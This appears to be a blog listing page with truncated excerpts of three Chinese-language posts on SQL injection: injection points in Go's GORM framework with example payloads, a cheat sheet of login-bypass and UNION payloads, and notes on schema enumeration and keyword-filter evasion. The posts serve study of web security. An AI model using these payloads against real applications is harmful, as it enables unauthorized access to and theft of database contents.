ORM 框架 SQL 注入点分析 (以Golang为例)

最近研究了一些现代 ORM 框架的 SQL 注入情况,做一些笔记吧。 GORM 注入点 gorm 注入点简单可以分为三种情况 检测转义 直接转义 schema 校验 如果 gorm 认为这个参数他不会是一个表达式也不会是`aaa`.`bbb` 的形式,从功能上也只可能是一个单纯的列名,这个时候 gorm 会直接给你套上 ` 同时对内部的内容全部进行转义,这种一般是不存在注入点的,例如 Association 函数。 另外部分多表关联(Associations)查询的字段会存在 schema 校验,如果对不上列名会在 sql 构建阶段报错,例如 Preload 函数,这些也是无法注入的。 那剩下的部分都执行一个检测转义的策略: 先检测`的存在, 如果不存在就套上,并假装存在,直到扫描另一个` 这个转义设计上是为了兼容性,并不出于安全性考虑,所以是比较好注的 根据注入点出现的位置分类,可以分为下面这几个 参数位置 函数 1 Group,Order,Exec,Having,InnerJoins,Joins,Not,Or,Pluck,Raw,Select,Table,Where 1… Distinct 2 Find,First,FirstOrCreate,FirstOrInit,Last,Take 参数位置 为 2 的一类基本是 gorm 新增的一些语法糖 API,不过从上表也可以看出 Gorm 设计的真的不错,API 风格真的非常统一。 案例 DB.Order("id = case when version() rlike '8.*' then ? else 0 end #").First(&a) DB.First(&a, "?=0 union select 1,1,version() #") SELECT * FROM `aaaa` ORDER BY id = case when version() rlike '8....

August 8, 2024 · BaiMeow

sql注入点

UNION 先想办法结束上个语句,再用UNION拼接下一个语句 堆叠注入 同上,但用;拼接 WHERE 使其SELECT所有数据 注入: admin’ – admin’ # admin’/* ’ or 1=1– ’ or 1=1# ’ or 1=1/* ‘) or ‘1’=‘1– ‘) or (‘1’=‘1– 以不同的用户登陆 ’ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1– 报错注入

September 30, 2022 · BaiMeow

sql注入简记

信息的获取 SELECT version() 数据库版本 user() 数据库用户名 database 数据库名 @@datadir 数据库路径 @@version_compile_os 操作系统版本 其他 show columns from table_name;列信息 show databases;所有数据库名 show tables;所有表名 注入 1' order by 2 # 检查记录数量 字符串拼接 concat(str1,str2,…) 能够将你查询的字段连接在一起 concat_ws(separator,str1,str2,) 能够自定义分隔符来将你查询的字段链接在一起 group_concat([DISTINCT] column [Order BY ASC/DESC column] [Separator separator]) Example SELECT concat(table_name, ' ',column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE(); SELECT group_concat(table_name, column_name separator '_') FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE(); 关键字被过滤 简单的有: 大小写混用(seLect,whEre…) SEL<>ECT(php) 空格 -> () = -> like 但是极其容易被堵,其他方法有以下...

September 21, 2022 · BaiMeow